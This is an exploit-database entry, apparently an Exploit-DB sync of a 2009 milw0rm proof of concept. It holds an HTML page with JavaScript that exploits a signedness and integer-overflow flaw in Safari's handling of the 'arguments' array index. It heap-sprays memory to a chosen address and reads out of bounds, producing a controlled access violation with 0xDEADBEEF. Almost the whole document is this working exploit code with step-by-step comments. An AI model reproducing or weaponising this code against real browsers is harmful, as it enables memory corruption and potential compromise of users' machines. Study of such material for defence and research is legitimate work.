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Offensive Security d304cc3d3e DB: 2017-11-24 
116602 new exploits

Too many to list!
2017-11-24 20:56:23 +00:00

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<BODY>
<CODE id="sploit status"></CODE>
<CODE id="heapspray status"></CODE>
<SCRIPT>
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// The index for the "arguments" array in a JavaScript function in
// Safari suffers from a signedness issue that allows access to elements
// that are out of bounds. The index is cast to a signed value before it
// is compared to the length of the array to check if it within the
// bounds. Integer values larger than 0x8000,0000 will be cast to a
// negative value and because they are always smaller then the length,
// they are treated as a valid index.
// The index into the arguments array ends up in instructions
// that multiply it by 4 to access data in an array of 32 bit values.
// There are no checks for overflows in this calculation. This allows us
// to cause it to access anything in memory:
// Pointer to object = base address + 4 * index
// The base address varies only slightly and is normally about
// 0x7FEx,xxxx. If we create a heap chunk of 0x0100,0000 bytes at a
// predictable location using heap spraying, we can then calculate an
// index that will access this memory.
var iBase = 0x7fe91e6c; // Random sample - value varies but not a lot.
var iTargetArea = 0x10000000;
// Be advised that heap spraying is "upside down" in Safari: strings
// are allocated at high addresses first and as the heap grows, the
// addresses go down. The heap will therefor grow in between a lot of
// DLLs which reside in this area of the address space as well.
// We'll need to find an area of memory to spray that is not likely to
// contain a DLL and easy to reach.
var iTargetAddress = 0x55555555;
// iTargetAddress(~0x5555,5555) = iBase(~0x7FEx,xxxx) + 4 * iIndex
// 4 * iIndex = (iTargetAddress - iBase) (optionally + 0x1,0000,0000 because an integer overflow is needed)
var iRequiredMultiplicationResult = iTargetAddress - iBase + (iTargetAddress < iBase ? 0x100000000 : 0)
// iIndex = (iTargetAddress - iBase) / 4
var iIndex = Math.floor(iRequiredMultiplicationResult / 4)
// We need to trigger the signedness issue so the index must be larger
// then 0x8000,0000. Because of the integer overflow in the
// multiplication, we can safely add 0x4000,0000 as often as we want;
// the multiplication will remove it from the result.
while (iIndex < 0x80000000) iIndex += 0x40000000
document.getElementById("sploit status").innerHTML = (
"iBase + 4 * iIndex = " +
"0x" + iBase.toString(16, 8) + " + 4 * " + iIndex.toString(16, 8) + " = " +
"0x" + (iBase + 4 * iIndex).toString(16, 8) + "<BR>"
);
// Set up heap spray
var oHeapSpray = new HeapSpray2(iTargetAddress, DWORD(0xDEADBEEF))
oHeapSpray.oOutputElement = document.getElementById("heapspray status")
// Spray heap asynchronously and call sploit when done.
oHeapSpray.spray(sploit)
function sploit(oHeapSpray) {
// This will cause an access violation using the value 0xDEADBEEF,
// which comes from the strings we sprayed the heap with.
// 6aa3d57f 8b4f0c mov ecx,dword ptr [edi+0Ch] ds:0023:deadbefb=????????
arguments[iIndex];
}
function DWORD(iValue) {
return String.fromCharCode(iValue & 0xFFFF, iValue >> 16)
}
</SCRIPT>
</BODY>
# milw0rm.com [2009-01-05]
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